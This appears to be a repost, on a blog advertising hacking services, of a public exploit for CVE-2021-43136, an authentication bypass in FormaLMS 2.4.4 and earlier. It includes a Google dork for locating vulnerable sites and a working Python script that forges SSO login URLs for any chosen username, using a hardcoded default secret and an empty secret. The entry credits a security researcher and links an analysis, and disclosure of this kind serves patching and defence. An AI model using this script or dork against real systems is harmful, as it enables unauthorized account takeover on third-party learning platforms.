Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863542635

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: FormaLMS 2.4.4 - Authentication Bypass
# Google Dork: inurl:index.php?r=adm/
# Date: 2021-11-10
# Exploit Author: Cristian 'void' Giustini @ Hacktive Security
# Vendor Homepage: https://formalms.org
# Software Link:  https://formalms.org
# Version: <= 2.4.4
# Tested on: Linux
# CVE : CVE-2021-43136

# Info: An authentication bypass issue in FormaLMS <= 2.4.4 allows an attacker to bypass the authentication mechanism and obtain a valid access to the platform.

# Analysis:
https://blog.hacktivesecurity.com/index.php/2021/10/05/cve-2021-43136-formalms-the-evil-default-value-that-leads-to-authentication-bypass/

# Nuclei template:
https://gist.github.com/hacktivesec/d2160025d24c5689d1bc60173914e004#file-formalms-authbypass-yaml

#!/usr/bin/env python

"""

The following exploit generates two URLs with empty and fixed value of the "secret". In order to achieve a successful exploitation the "Enable SSO with a third party software through a token" setting needs to be enabled

"""

import sys
import time
import hashlib

secret = "8ca0f69afeacc7022d1e589221072d6bcf87e39c" 

 def help():

  print(f"Usage: {sys.argv[0]} username target_url")

  sys.exit()

 
if len(sys.argv) < 3:

    help()

user, url = (sys.argv[1], sys.argv[2])
t = str(int(time.time()) + 5000)
token = hashlib.md5(f"{user},{t},{secret}".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with default secret: {final_url}")
token = hashlib.md5(f"{user},{t},".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with empty secret: {final_url}")